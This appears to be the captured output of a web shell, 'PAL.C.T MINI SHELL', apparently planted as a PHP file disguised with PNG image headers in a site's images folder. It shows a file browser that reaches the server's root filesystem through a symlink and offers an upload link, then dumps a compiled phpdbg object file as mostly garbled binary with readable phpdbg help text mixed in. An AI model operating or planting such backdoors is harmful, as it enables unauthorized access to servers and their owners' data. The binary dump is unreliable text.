php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/opt/php-7.0.1/sapi/phpdbg/
upload
files >> /var/www/html/sub/images/sym/root/opt/php-7.0.1/sapi/phpdbg/phpdbg_help.o

ELFT4(UWVSÃ,}MtPEt{vt$\$$uE}uEtE8(u͋E,[^_]f7t21(tW:uuMtU:ِ1뺍UVSt5tt$$uC[^]Ðt&[^]ÍUWVSl}$EE̡H$Ep%҃UDEЉMȉUtE@1ɉEt;]ũf<*<${<\(Bu)TUԋMEu؄tj11EEt&< <
<*P<$<\Oψt;]r
1+]Eu+u;uw.UءD$OT$$M؃l[^_]v+uD$ D$<t$D$JD$$f|$D$$l[^_]G8?P$Ẽ4$UD$EЉD$Uu]<Pzz*Bh`*O}t61}}4$UEEEEM|$D$MUy|
11E{ ]M'UWVSLD$D$D$JD$$D$S$
Et&EH(P(UB<httRD$L$D$eT$D$wD$D$$EXtS+pu닋EK҉L$((t$ L$$T$L$@D$D$@D$D$$D$Su"fD$$M$}EPT$T$@D$D$wD$D$$D$D$$EX+pSuaEK҉L$((t$ L$$T$L$@D$D$@D$D$$D$SuD$$@$L1[^_]Í&'U8EPT$PT$D$D$D$E$E$MfU8]]utu$1]u]ÐtS uC$t}S EtB&Ep(@(ut$S T$S$T$u։4$̸"$1PE$E$1,CD$D$D$JD$$D$S C$Exau$PEy"` d)H+,,0/0247h:?@FG
INO\P$Q$Q)S/U%$>:;I$>I&I:;	
:;I8

I!I/:;
&:;
:;I8
:;:;(

:;I8
:;:;
:;I
:;I8
'I:;
:;I
:;I:;:;I< 'I!'":;#:;$'I%!I/&.:;'I@
':;I(:;I):;I
*4:;I+4:;I,-4:;I..?:;'@
/4:;I
0.?:;'I@
1:;I
24:;I
34:;I44:;I5:;I
6.?:;'I@
74:;I?<8!94:;I?
:4:;I?
@V%P(':int$	
2Z4lA(;~"l:*=)8Aw'9~l6!l&ll,:1(I
x	x
l$ cy	!z:	%{

1l:W#]6]]]]]]F] ]$3#]( ],"0]	$4&:8%*:<W$,@"0Z(1!26?HE|IEJEKELN:ZP`
X			:s
ll
l'I	,/	-a+		./
.H#
/H
1"""
O-p|	."~:				o	^	".	#	 get$set(	),	0	Y4	c8	)<	3		&o	X 	U	ZV	a	R		3		$+
P<	G	f	'"	:	 $a	O:	:	,	O, 	$,$	
(	y
	
	F		e	Q			!	@			a	(	%	b		#	>!		F	E&	d	a	&a	
	!				h
QZ
G
`
6!k

$
*!
R'(0
`(
!s
-&
,&
%i
M
  
-$
(o$
(,
T	
y	
z+u1
ou2
(
V`&
gc
O
o
W
%	gc
O
h
len
val
d
X0	T
,
	gc
O
u

	
a	

	
a	R
a	"
a	n(
a 	%
$	f
(-

Y	(

gc
O

ace
=
@
.
K#
Z"


c
gc
O

:G
:ptr
 Ej
[n
!
#
gc
$O
val
%%
\

(
gc
)O
ast
*[)
]
&	S"C	N	!a	(Y
b ,,
sQw1
taw2
ua
e
f
g
hstr
iarr
jobj
kres
l
ref
mast
nzv
o,ptr
pEce
q&
r%ww
v2%		
c

M'
wQ
|o	G
}	
}	
}	l
}
{v
6u#
a
|
a
a.
a!
a-
aL"
a
a

	G
	z)
	
O
,
v
u#
a
O
	
au

#
,
a

val
h
key
q"
Z

0	

	z)
	

	#
	


v

z)
a
9
a
.ht
.pos



F"
[l
$l
		(	rr
E	%2	 &2	i'2	T(	
)	O*	$+H	
,2-/O{O
[ilH/z)$@9std:		;(	<~8	E=<	O!*	&$@	w'V	-m	0*	a3*	6*$$o :@$0 ,V$Fm$,\n7s6 @	A~	B	3C	YD	%E	F	'&GHu)X(	)	*Z	,	0	1	2	R3	4 	|5Z(	.7,	';G0	">R4	I8	(J	K	(X	
(YX! E" E]#'Q1&q&>L	-*2/len0pos1map2Ebuf3]	n4E	d56\J$,8	9E	&::	);	O%< 	"=$	>(e?,BDfdC:fpDDg(E<A	F	FG,		H0	GIQ4	WJ8LKJadQe$%g	'
hcei	j$ko$cepqfmI	DnI	rOs$u	DvI	){	an
`	F	a	
a	
	?	~k!$?	
%	G%&$!	''	-(a	z))aEP
\I~	
JZ	&Kl	%LHztsMH		N'	O'	fP	Q?	
R'	S' 	T'$	
U'(	V',	'W0	uX4	\E8	^<	_	(%`'	x"a:	GbH	cE	i'd:	meJ@&#  $,: :  :4,4:@i :p,p{vHLU!:"A$)U)E& ,(,,:(,E)9? ,^,,:,3
2io,,,(C5,,,9 ,,,:("=,,B ,),,J4: :Y,,:(Mdj :,,:P,,(SV .,'X .,(^ :--,_>D ^^dj`z {cdse ,i 	(k :+,, l6< :V,,,pd	tlr :,%v :,^x .,,z :$,,,'
7/

MG
O
P+ 
Qa0
RO
S<
T%-
Ua
Va
W; 
ZA  
\a$
^a(

_,
a:0T
ba4#
c8!
e:<F)
f:
gG 
hM 
k.F
m
na

oa

p
qa
s: 
t,?$
v:o$
w(l
yS J
8
l	G%
op1
op2
	=
	
a	!
a	
	
	(
	j

I
Javar
Kanum
Lac

Ma
Ozv
T,'
Vl
	
:	3
:brk
:	'"
: 
}
P	(
a	#
a		
a	c$
a
g
,f
-
.1
/
0	

1

2
3[k
6 f
7
81
9
:	

;

<
=
; l aP
Ec l:8

!G

+ 
a0
O
<
%-
a
a

!G%
$! 
~$l
S ($!-,! 
c # 
!G

+ 
a0
O
<
-
a
a
; !*!
:!l	$"	)!	G*:	+1"
!'"l2""%	e	]	"& 	z&	M&	%		m
	'	:	:	.	&.	.	g ,	
,	%	4'	O		;:	A.	.%			
	
	?:	x	
	&_%	)_%	'_%		6	6	r:	.	&.	x'	̧%	$		ε!	'	B~	(	X"	#	a		a	+''	 -'	%E	8߲%		'	lS 	_%	
:top:max:	lE} "%/+%	' ,^top-a	
.a	
/:<0j%YZ%%%ptr]end]	(%%$B
&&A&top,end,	(%Q&CL&!0/&	f0	k)1l0	2E	3E	4E	5	k6	q70	-8: 	c::$	Q;:(	i'<:,$
&l"A&
''l4
4='l!#FJv'	fwrelx	'y	GzH'L&'H' :'::'''=''$:''[0 d'$ F)ops '0	 E	v ˆ,	 ˆ,	 / 	K E$	 ƃ(	 :8	C :<	6	 -0res 
	Q :	 :	 D	 :	q ]ctx 
	z) :eof :	 	 i	O ܅	;	 	 	z
 	 =0s eQ)E )	 !0	 E	# : f)!5)	D!6*	8!7res!8
 g)M0"l6*	Z"m,	"n	"o.,	("p.,	C"q:	?"t, 	"wl+$res"z
,)!A*G*v*v*::]:E)C#!+*$!-*	&!.6*	O!/*ptr!0	!1:	F!2	!2 **|**")* ",l+	"-+	("-+	
".+buf"0]	{"1	%"3:	C"4:	"7:"*w+":+	 ";+	i";+*l+">+hui"B+R"T+	"V4,	O"_F,	"a +(,(,.,++::')+F,.,:,v"c+6"e,	 "f.,	i"f.,	g("i(,E"jW,L,,2)X l,sb m o,/$ v;-	 xU-	8 yu-	
 z-	 {-	 }	 -	v -	u) .	 7.  U-(,;- u-(,][- :-(,:{- :-(,- :-(,:-- :-(,:(- :.(,.,- :7.(,::E. ,	!, .	 /		 #/	  C/	" m/	! /	 	] /	} /	 / 	Y /$	1 0( (,//:v*F). :#//(,/ :C//(,.)/ :m//:.v*I/ ://:v*s/ ://:v*/ ://::v*/ :0/:Ev*/, H.0=.
=0l' :l0'EEE:C00':r0#"0##:d#$Et #%0#@0	q#A$	;#B#G1	'#H:	##I:	(#J0#O21	q#P$	;#Q	(#R0#Ww1	q#X$	;#Y	#Z:	!#[/	#\/#a1	#bE#g1	<#h	k"#i:t#;2`#<2#C0e#K0_rt#S1#]21!#cw1#j1
:2l#4P2	X#5:	#6:	#8:	#k1~$#l2h$T%25"% [2%"22:2EP22%2	%$f2	S%,	Q%/:	%2&3mem&	]	&&
	" &3	&3a&
2'c3C	=%Dmv(!3f!c"&#	

'
"Y!(2c3(43,(5[4	G(63num(7	(8	(<[4	:((@|4str(A]len(B 	(C4$top(D4((9|4	f(:]	
(;(=4	t
(>]	f(?]3([44 :4443{(]4$((^_5	f(_	(`tip(a	(b	)(c	G%(d4	J(e_5	(f]	'"(g_5 	z)(h$e54(r5num(s:	n(t-Z(uj5)5len)l	)i	%)i	#)i	!)i	@) :;')!5 *6#6	f*7]	#*8	*936
36l#6%*:5+d6idx+ptr+E+C6+z6+ 6:+!6=+"d6
66lo6+%6	T+&	+'	C+(6+)6,,7,06,<7O(,>7	,C7	
,D	G,E7	z),F	,Gl	'",H7	,I7	d#,J.	,K str,L$,?7zv,@,ref,Aptr,BE7-7"-/8	- /8	0-!	O-"	F-#	
-$op-%7N(-(@8/-)e8	(-*e8	-+/858#.8ptr.Dfd.:# .8(.G. :fd.!:tag."]msg.#].$:xml.%]#.&:y.;bp.;	.
	.
	B.-	x.	).5	,.a	.5	8.4	
.2	.6	.6	!.
	.
	!.8.	.i.7
.].ops.&$..:.	:.
..
<.<W./<&.
.D{.%_.e8'./8io.5<eol.:w.U- .:	.'8!.(.*E<Q .+U<.,]X'.-
./p<".0:#.1%3.3'z).5sY.7].8],.9:
.::
(.?


;l
 &<:; &/<,]<
k8E<l
]U<l
e<e<lk<86
<%l;.@8/*<key/+]	/,]o/-<&:/='key'len4([/=h)_5*c_5+!l_5&a]='key=*p=@,-O-`<.,>),]*new.]c*p.]*q.]+"0/-F1l-F2l/
4P+v5N/9
6lX+18ln+
9l+
;:+=]\+s	>l+4?lW0:>142c_5\3_54len	:E.C?5cmd?/]l_56:Pg?)4*cmd_5c*n:7i7
?l
-	v?? ?70??7'/'"-
,p
4?l7!!/#??
<@l7'//?
4&@871@3@@7Q<7i770?7'/'"9!!"@?:'D?71@@@7Q<
/opt/php-7.0.1/sapi/phpdbg/usr/include/usr/lib/gcc/i686-redhat-linux/4.4.7/include/usr/include/bits/opt/php-7.0.1/Zend/opt/php-7.0.1/main/opt/php-7.0.1/main/streamsphpdbg_help.cstdint.hstddef.htypes.hsigset.htime.hstdio.hlibio.hzend_long.hzend_types.hzend_object_handlers.hzend.hzend_compile.hzend_ast.hzend_alloc.hzend_llist.hzend_iterators.hstat.hzend_stream.hzend_API.hzend_modules.hsetjmp.hsetjmp.hzend_globals_macros.hzend_globals.hzend_stack.hzend_objects_API.hfpu_control.hzend_arena.hzend_execute.hzend_ini.hphp_streams.hphp_stream_context.hphp_stream_filter_api.hsiginfo.hsignal.hsigaction.hphpdbg_sigsafe.hphpdbg_out.hphpdbg_cmd.hphpdbg_lexer.hphpdbg_utils.hphpdbg_btree.hphpdbg_watch.hphpdbg_opcode.hphpdbg.hphpdbg_help.hzend_string.hphpdbg_prompt.h8j
.w.	tu=KTk=U@z^?Y;=V>/	Xwt	<l8N?9?TT
冇)Aa
./;@>]'t>=s~8jKey>:W>=9ZXׁUɁ!Xg/;Ke=-=u-UhXt-K7?IY>G
`xXEL=;=ʸ>GL"~tf>0>J*<ZXcth]g1g=tX<tX:\><help %r msg="%s" />Output overrun of %lu bytesoverrun="%lu"help%s
<helpcommands %r> %c     %-20s  %salias="%c" name="%s" tip="%s"command %c %c   %s %-*s  %ssubcommand</helpcommands>h %c     %-20s  %s
aliasinfo<helpaliases>alias</helpaliases>aliases!overview!duplicate!aliasesshow alias listoptionscommand line optionsoverviewhelp overviewphpdbginitphpdbginit file formatsyntaxsyntax overviewbackbreakcleanclearevexecfinishframeinfoleavelistcontinueprintregisterrunsetshsourceexportstepnextuntilwatchBelow are the aliased, short versions of all supported commandsparent_alias="%c" alias="%c" parent="%s" name="%-*s" tip="%s"Command: **%s**  Alias: **%c**  **%s**
Internal help error, non-unique alias "%c"type="ambiguousalias" alias="%s"
**phpdbg** is a lightweight, powerful and easy to use debugging platform for PHP5.4+
It supports the following commands:

**Information**
  **list**     list PHP source
  **info**     displays information on the debug session
  **print**    show opcodes
  **frame**    select a stack frame and print a stack frame summary
  **back**     shows the current backtrace
  **help**     provide help on a topic

**Starting and Stopping Execution**
  **exec**     set execution context
  **run**      attempt execution
  **step**     continue execution until other line is reached
  **continue** continue execution
  **until**    continue execution up to the given location
  **next**     continue execution up to the given location and halt on the first line after it
  **finish**   continue up to end of the current execution frame
  **leave**    continue up to end of the current execution frame and halt after the calling instruction
  **break**    set a breakpoint at the specified target
  **watch**    set a watchpoint on $variable
  **clear**    clear one or all breakpoints
  **clean**    clean the execution environment

**Miscellaneous**
  **set**      set the phpdbg configuration
  **source**   execute a phpdbginit script
  **register** register a phpdbginit function as a command alias
  **sh**       shell a command
  **ev**       evaluate some code
  **quit**     exit phpdbg

Type **help <command>** or (**help alias**) to get detailed help on any of the above commands, for example **help list** or **h l**.  Note that help will also match partial commands if unique (and list out options if not unique), so **help clea** will give help on the **clean** command, but **help cl** will list the summary for **clean** and **clear**.

Type **help aliases** to show a full alias list, including any registered phpdginit functions
Type **help syntax** for a general introduction to the command syntax.
Type **help options** for a list of phpdbg command line options.
Type **help phpdbginit** to show how to customise the debugger environment.
Below are the command line options supported by phpdbg

**Command Line Options and Flags**
  **Option**  **Example Argument**    **Description**
  **-c**      **-c**/my/php.ini       Set php.ini file to load
  **-d**      **-d**memory_limit=4G   Set a php.ini directive
  **-n**                          Disable default php.ini
  **-q**                          Suppress welcome banner
  **-v**                          Enable oplog output
  **-b**                          Disable colour
  **-i**      **-i**my.init           Set .phpdbginit file
  **-I**                          Ignore default .phpdbginit
  **-O**      **-O**my.oplog          Sets oplog output file
  **-r**                          Run execution context
  **-rr**                         Run execution context and quit after execution (not respecting breakpoints)
  **-e**                          Generate extended information for debugger/profiler
  **-E**                          Enable step through eval, careful!
  **-S**      **-S**cli               Override SAPI name, careful!
  **-l**      **-l**4000              Setup remote console ports
  **-a**      **-a**192.168.0.3       Setup remote console bind address
  **-x**                          Enable xml output (instead of normal text output)
  **-p**      **-p**, **-p=func**, **-p* **   Output opcodes and quit
  **-h**                          Print the help overview
  **-V**                          Print version number
  **--**      **--** arg1 arg2        Use to delimit phpdbg arguments and php $argv; append any $argv argument after it

**Remote Console Mode**

This mode is enabled by specifying the **-a** option. Phpdbg will bind only to the loopback interface by default, and this can only be overridden by explicitly setting the remote console bind address using the **-a** option. If **-a** is specied without an argument, then phpdbg will bind to all available interfaces.  You should be aware of the security implications of doing this, so measures should be taken to secure this service if bound to a publicly accessible interface/port.

**Opcode output**

Outputting opcodes requires that a file path is passed as last argument. Modes of execution:
**-p** Outputs the main execution context
**-p* **Outputs all opcodes in the whole file (including classes and functions)
**-p=function_name** Outputs opcodes of a given function in the file
**-p=class_name::** Outputs opcodes of all the methods of a given class
**-p=class_name::method** Outputs opcodes of a given method
Phpdgb uses an debugger script file to initialize the debugger context.  By default, phpdbg looks for the file named **.phpdbginit** in the current working directory.  This location can be overridden on the command line using the **-i** switch (see **help options** for a more details).

Debugger scripts can also be executed using the **source** command.

A script file can contain a sequence of valid debugger commands, comments and embedded PHP code. 

Comment lines are prefixed by the **#** character.  Note that comments are only allowed in script files and not in interactive sessions.

PHP code is delimited by the start and end escape tags **<:** and **:>**. PHP code can be used to define application context for a debugging session and also to extend the debugger by defining and **register** PHP functions as new commands.

Also note that executing a **clear** command will cause the current **phpdbginit** to be reparsed / reloaded.
Commands start with a keyword, and some (**break**, **info**, **set**, **print** and **list**) may include a subcommand keyword.  All keywords are lower case but also have a single letter alias that may be used as an alternative to typing in thekeyword in full.  Note some aliases are uppercase, and that keywords cannot be abbreviated other than by substitution by the alias.

Some commands take an argument.  Arguments are typed according to their format:
     *  **omitted**
     *  **address**      **0x** followed by a hex string
     *  **number**       an optionally signed number
     *  **method**       a valid **Class::methodName** expression
     *  **func#op**      a valid **Function name** follow by # and an integer
     *  **method#op**    a valid **Class::methodName** follow by # and an integer
     *  **string**       a general string
     *  **function**     a valid **Function name**
     *  **file:line**    a valid **filename** follow by : and an integer

In some cases the type of the argument enables the second keyword to be omitted.

Type **help** for an overview of all commands and type **help <command>** to get detailed help on any specific command.

**Valid Examples**

     $P quit
     $P q
     Quit the debugger

     $P ev $total[2]
     Evaluate and print the variable $total[2] in the current stack frame
    
     $P break 200
     $P b my_source.php:200
     Break at line 200 in the current source and in file **my_source.php**. 

     $P b @ ClassX::get_args if $arg[0] == "fred"
     $P b ~ 3
     Break at ClassX::get_args() if $arg[0] == "fred" and delete breakpoint 3

**Examples of invalid commands**
     $P #This is a comment
     Comments introduced by the **#** character are only allowed in **phpdbginit** script files.
Note that aliases can be used for either command or sub-command keywords or both, so **info b** is a synomyn for **info break** and **l func** for **list func**, etc.

Note that help will also accept any alias as a parameter and provide help on that command, for example **h p** will provide help on the print command.
Parameter is not unique. For detailed help select help on one of the above commands.Provide a formatted backtrace using the standard debug_backtrace() functionality.  An optional unsigned integer argument specifying the maximum number of frames to be traced; if omitted then a complete backtrace is given.

**Examples**

    $P back 5
    $P t 
 
A backtrace can be executed at any time during execution.Breakpoints can be set at a range of targets within the execution environment.  Execution will be paused if the program flow hits a breakpoint.  The break target can be one of the following types:

  **Target**   **Alias** **Purpose**
  **at**       **A**     specify breakpoint by location and condition
  **del**      **d**     delete breakpoint by breakpoint identifier number

**Break at** takes two arguments. The first is any valid target. The second is a valid PHP expression which will trigger the break in execution, if evaluated as true in a boolean context at the specified target.

Note that breakpoints can also be disabled and re-enabled by the **set break** command.

**Examples**

    $P break test.php:100
    $P b test.php:100
    Break execution at line 100 of test.php

    $P break 200
    $P b 200
    Break execution at line 200 of the currently PHP script file

    $P break \\mynamespace\\my_function
    $P b \\mynamespace\\my_function
    Break execution on entry to \\mynamespace\\my_function

    $P break classX::method
    $P b classX::method
    Break execution on entry to classX::method

    $P break 0x7ff68f570e08
    $P b 0x7ff68f570e08
    Break at the opline at the address 0x7ff68f570e08

    $P break my_function#14
    $P b my_function#14
    Break at the opline #14 of the function my_function

    $P break \\my\\class::method#2
    $P b \\my\\class::method#2
    Break at the opline #2 of the method \\my\\class::method

    $P break test.php:#3
    $P b test.php:#3
    Break at opline #3 in test.php

    $P break if $cnt > 10
    $P b if $cnt > 10
    Break when the condition ($cnt > 10) evaluates to true

    $P break at phpdbg::isGreat if $opt == 'S'
    $P break @ phpdbg::isGreat if $opt == 'S'
    Break at any opcode in phpdbg::isGreat when the condition ($opt == 'S') is true

    $P break at test.php:20 if !isset($x)
    Break at every opcode on line 20 of test.php when the condition evaluates to true

    $P break ZEND_ADD
    $P b ZEND_ADD
    Break on any occurrence of the opcode ZEND_ADD

    $P break del 2
    $P b ~ 2
    Remove breakpoint 2

Note: Conditional breaks are costly in terms of runtime overhead. Use them only when required as they significantly slow execution.

Note: An address is only valid for the current compilation.Classes, constants or functions can only be declared once in PHP.  You may experience errors during a debug session if you attempt to recompile a PHP source.  The clean command clears the Zend runtime tables which holds the sets of compiled classes, constants and functions, releasing any associated storage back into the storage pool.  This enables recompilation to take place.

Note that you cannot selectively trim any of these resource pools. You can only do a complete clean.Clearing breakpoints means you can once again run code without interruption.

Note: use break delete N to clear a specific breakpoint.

Note: if all breakpoints are cleared, then the PHP script will run until normal completion.The **ev** command takes a string expression which it evaluates and then displays. It evaluates in the context of the lowest (that is the executing) frame, unless this has first been explicitly changed by issuing a **frame** command. 

**Examples**

    $P ev $variable
    Will print_r($variable) on the console, if it is defined

    $P ev $variable = "Hello phpdbg :)"
    Will set $variable in the current scope

Note that **ev** allows any valid PHP expression including assignments, function calls and other write statements.  This enables you to change the environment during execution, so care is needed here.  You can even call PHP functions which have breakpoints defined. 

Note: **ev** will always show the result, so do not prefix the code with **return**The **exec** command sets the execution context, that is the script to be executed.  The execution context must be defined either by executing the **exec** command or by using the **-e** command line option.

Note that the **exec** command also can be used to replace a previously defined execution context.

**Examples**

    $P exec /tmp/script.php
    $P e /tmp/script.php
    Set the execution context to **/tmp/script.php**The **finish** command causes control to be passed back to the vm, continuing execution.  Any breakpoints that are encountered within the current stack frame will be skipped.  Execution will then continue until the next breakpoint after leaving the stack frame or until completion of the script

Note when **step**ping is enabled, any opcode steps within the current stack frame are also skipped. 

Note **finish** will trigger a "not executing" error if not executing.The **frame** takes an optional integer argument. If omitted, then the current frame is displayed If specified then the current scope is set to the corresponding frame listed in a **back** trace. This can be used to allowing access to the variables in a higher stack frame than that currently being executed.

**Examples**

    $P frame 2
    $P ev $count
    Go to frame 2 and print out variable **$count** in that frame

Note that this frame scope is discarded when execution continues, with the execution frame then reset to the lowest executiong frame.**info** commands provide quick access to various types of information about the PHP environment
By default general information about environment and PHP build is shown.
Specific info commands are show below:

  **Target**   **Alias**  **Purpose**
  **break**      **b**      show current breakpoints
  **files**      **F**      show included files
  **classes**    **c**      show loaded classes
  **funcs**      **f**      show loaded functions
  **error**      **e**      show last error
  **constants**  **d**      show user-defined constants
  **vars**       **v**      show active variables
  **globals**    **g**      show superglobal variables
  **literal**    **l**      show active literal constants
  **memory**     **m**      show memory manager statsThe **leave** command causes control to be passed back to the vm, continuing execution.  Any breakpoints that are encountered within the current stack frame will be skipped.  In effect a temporary breakpoint is associated with any return opcode, so that a break in execution occurs before leaving the current stack frame. This allows inspection / modification of any frame variables including the return value before it is returned

**Examples**

    $P leave
    $P L

Note when **step**ping is enabled, any opcode steps within the current stack frame are also skipped. 

Note **leave** will trigger a "not executing" error if not executing.The list command displays source code for the given argument.  The target type is specficied by a second subcommand keyword:

  **Type**     **Alias**  **Purpose**
  **lines**    **l**      List N lines from the current execution point
  **func**     **f**      List the complete source for a specified function
  **method**   **m**      List the complete source for a specified class::method
  **class**    **c**      List the complete source for a specified class

Note that the context of **lines**, **func** and **method** can be determined by parsing the argument, so these subcommands are optional.  However, you must specify the **class** keyword to list off a class.

**Examples**

    $P list 2
    $P l l 2
    List the next 2 lines from the current file

    $P list my_function
    $P l f my_function
    List the source of the function **my_function**

    $P list func .mine
    $P l f .mine
    List the source of the method **mine** from the active class in scope

    $P list m my::method
    $P l my::method
    List the source of **my::method**

    $P list c myClass
    $P l c myClass
    List the source of **myClass**

Note that functions and classes can only be listed if the corresponding classes and functions table in the Zend executor has a corresponding entry.  You can use the compile command to populate these tables for a given execution context.Continue with execution after hitting a break or watchpoint

**Examples**

    $P continue
    $P c
    Continue executing until the next break or watchpoint

Note **continue** will trigger a "not running" error if not executing.By default, print will show the opcodes of the current execution context.
Other printing commands give access to instruction information.
Specific printers loaded are show below:

  **Type**    **Alias**  **Purpose**
  **exec**    **e**      print out the instructions in the execution context
  **opline**  **o**      print out the instruction in the current opline
  **class**   **c**      print out the instructions in the specified class
  **method**  **m**      print out the instructions in the specified method
  **func**    **f**      print out the instructions in the specified function
  **stack**   **s**      print out the instructions in the current stack

In case passed argument does not match a specific printing command, it will treat it as function or method name and print its opcodes

**Examples**

    $P print class \\my\\class
    $P p c \\my\\class
    Print the instructions for the methods in \\my\\class

    $P print method \\my\\class::method
    $P p m \\my\\class::method
    Print the instructions for \\my\\class::method

    $P print func .getSomething
    $P p f .getSomething
    Print the instructions for ::getSomething in the active scope

    $P print func my_function
    $P p f my_function
    Print the instructions for the global function my_function

    $P print opline
    $P p o
    Print the instruction for the current opline

    $P print exec
    $P p e
    Print the instructions for the execution context

    $P print stack
    $P p s
    Print the instructions for the current stackRegister any global function for use as a command in phpdbg console

**Examples**

    $P register scandir
    $P R scandir
    Will register the scandir function for use in phpdbg

Note: arguments passed as strings, return (if present) print_r'd on consoleEnter the vm, startinging execution. Execution will then continue until the next breakpoint or completion of the script. Add parameters you want to use as $argv**Examples**

    $P run
    $P r
    Will cause execution of the context, if it is set

    $P r test
    Will execute with $argv[1] == "test"

Note that the execution context must be set. If not previously compiled, then the script will be compiled before execution.

Note that attempting to run a script that is already executing will result in an "execution in progress" error.The **set** command is used to configure how phpdbg looks and behaves.  Specific set commands are as follows:

   **Type**    **Alias**    **Purpose**
   **prompt**     **p**     set the prompt
   **color**      **c**     set color  <element> <color>
   **colors**     **C**     set colors [<on|off>]
   **oplog**      **O**     set oplog [output]
   **break**      **b**     set break **id** <on|off>
   **breaks**     **B**     set breaks [<on|off>]
   **quiet**      **q**     set quiet [<on|off>]
   **stepping**   **s**     set stepping [<opcode|line>]
   **refcount**   **r**     set refcount [<on|off>] 

Valid colors are **none**, **white**, **red**, **green**, **yellow**, **blue**, **purple**, **cyan** and **black**.  All colours except **none** can be followed by an optional **-bold** or **-underline** qualifier.

Color elements can be one of **prompt**, **notice**, or **error**.

**Examples**

     $P S C on
     Set colors on

     $P set p >
     $P set color prompt white-bold
     Set the prompt to a bold >

     $P S c error red-bold
     Use red bold for errors

     $P S refcount on
     Enable refcount display when hitting watchpoints

     $P S b 4 off
     Temporarily disable breakpoint 4.  This can be subsequently reenabled by a **s b 4 on**.
Direct access to shell commands saves having to switch windows/consoles

**Examples**

    $P sh ls /usr/src/php-src
    Will execute ls /usr/src/php-src, displaying the output in the consoleSourcing a **phpdbginit** script during your debugging session might save some time.

**Examples**

    $P source /my/init
    $P < /my/init
    Will execute the phpdbginit file at /my/init

Exporting breakpoints allows you to share, and or save your current debugging session

**Examples**

    $P export /my/exports
    $P > /my/exports
    Will export all breakpoints to /my/exports

Execute opcodes until next line

**Examples**

    $P s
    Will continue and break again in the next encountered line

The **next** command causes control to be passed back to the vm, continuing execution. Any breakpoints that are encountered before the next source line will be skipped. Execution willbe stopped when that line is left.

Note when **step**ping is enabled, any opcode steps within the current line are also skipped. 

Note that if the next line is **not** executed then **all** subsequent breakpoints will be skipped. 

Note **next** will trigger a "not executing" error if not executing.The **until** command causes control to be passed back to the vm, continuing execution. Any breakpoints that are encountered before the next source line will be skipped. Execution will then continue until the next breakpoint or completion of the script

Note when **step**ping is enabled, any opcode steps within the current line are also skipped. 

Note that if the next line is **not** executed then **all** subsequent breakpoints will be skipped. 

Note **until** will trigger a "not executing" error if not executing.Sets watchpoints on variables as long as they are defined
Passing no parameter to **watch**, lists all actually active watchpoints

**Format for $variable**

   **$var**      Variable $var
   **$var[]**    All array elements of $var
   **$var->**    All properties of $var
   **$var->a**   Property $var->a
   **$var[b]**   Array element with key b in array $var

Subcommands of **watch**:

   **Type**     **Alias**      **Purpose**
   **array**       **a**       Sets watchpoint on array/object to observe if an entry is added or removed
   **recursive**   **r**       Watches variable recursively and automatically adds watchpoints if some entry is added to an array/object
   **delete**      **d**       Removes watchpoint

Note when **recursive** watchpoints are removed, watchpoints on all the children are removed too

**Examples**

     $P watch
     List currently active watchpoints

     $P watch $array
     $P w $array
     Set watchpoint on $array

     $P watch recursive $obj->
     $P w r $obj->
     Set recursive watchpoint on $obj->

     $P watch delete $obj->a
     $P w d $obj->a
     Remove watchpoint $obj->a

Technical note: If using this feature with a debugger, you will get many segmentation faults, each time when a memory page containing a watched address is hit.
                You then you can continue, phpdbg will remove the write protection, so that the program can continue.
                If phpdbg could not handle that segfault, the same segfault is triggered again and this time phpdbg will abort.-5aEMbk
y
PbSfpPpS%R%^VfrRR%Q%X%%dWfrrW%0@^\fr0rPP0PVVSPP3PhPRR-WMWWWw.w~36R6DrDFr~N^R^`phWqQWwWwPPWVWZvZ]V3VhVtVvr'+P+HswRwPT0QL03LFNQ`hQhL05T03h0P005ARAM0MTR03h00VR005F\FM0MT\03h00S\005TS0S.3S3h00s\#0\#SAsXANS\#SIsXI~SNVV
l^l<Pl;WPPP (P4?P@=pretty_print>phpdbg_do_help_aliases>summary_print!?phpdbg_do_helpy@phpdbg_help_commands@phpdbg_help_text@/int32_tOuint16_tauint32_tsuint64_tsize_t__quad_t__u_quad_t__dev_t__uid_t__gid_t__ino_t__mode_t__nlink_t__off_t__off64_t$__pid_t/__clock_t:__time_tG__blksize_tR__blkcnt_t__sigset_ttimespecFILEl_IO_lock_ts_IO_marker_IO_FILEzend_longzend_ulongzend_off_tzend_boolzend_uchar"zend_object_handlerszend_class_entryzend_functionzend_execute_datazvalzend_refcountedzend_string%	zend_array	zend_object
zend_resourcec
zend_reference
zend_ast_ref
zend_astdtor_func_tQ_zend_value+zend_value_zval_struct,
_zend_refcounted_hO
zend_refcounted_h_zend_refcounted_zend_stringZ
_Bucket
Bucket
HashTable0	_zend_array
HashPosition_HashTableIterator4HashTableIterator	_zend_object"
_zend_resourcen
_zend_reference
_zend_ast_refazend_mm_heapr_zend_llist_elementzend_llist_elementllist_dtor_func_t_zend_llist8zend_llistCzend_ast_kindNzend_ast_attr
_zend_astozend_object_iterator_zend_object_iterator_funcsszend_object_iterator_funcsz_zend_object_iterator_zend_class_iterator_funcszend_class_iterator_funcsstatzend_stream_fsizer_tzend_stream_reader_tzend_stream_closer_tQzend_stream_type\_zend_mmapzend_mmap_zend_streamzend_streamJ_zend_file_handlezend_file_handlezend_stat_tzend_serialize_datazend_unserialize_data_zend_trait_method_referencezend_trait_method_reference$_zend_trait_precedenceUzend_trait_precedence`_zend_trait_aliaszend_trait_alias_zend_class_entryzend_error_handling_tzend_object_read_property_t.zend_object_read_dimension_t^zend_object_write_property_tzend_object_write_dimension_tzend_object_get_property_ptr_ptr_tzend_object_set_tzend_object_get_t)zend_object_has_property_tYzend_object_has_dimension_tzend_object_unset_property_tzend_object_unset_dimension_tzend_object_get_properties_tzend_object_get_debug_info_tzend_object_call_method_t3zend_object_get_method_tozend_object_get_constructor_tzend_object_dtor_obj_tzend_object_free_obj_tzend_object_clone_obj_tzend_object_get_class_name_tzend_object_compare_t+zend_object_compare_zvals_tVzend_object_cast_tazend_object_count_elements_tzend_object_get_closure_tzend_object_get_gc_tzend_object_do_operation_t-_zend_object_handlers$zend_op_arrayzend_opl_znode_opznode_op_zend_op_zend_brk_cont_elementzend_brk_cont_element_zend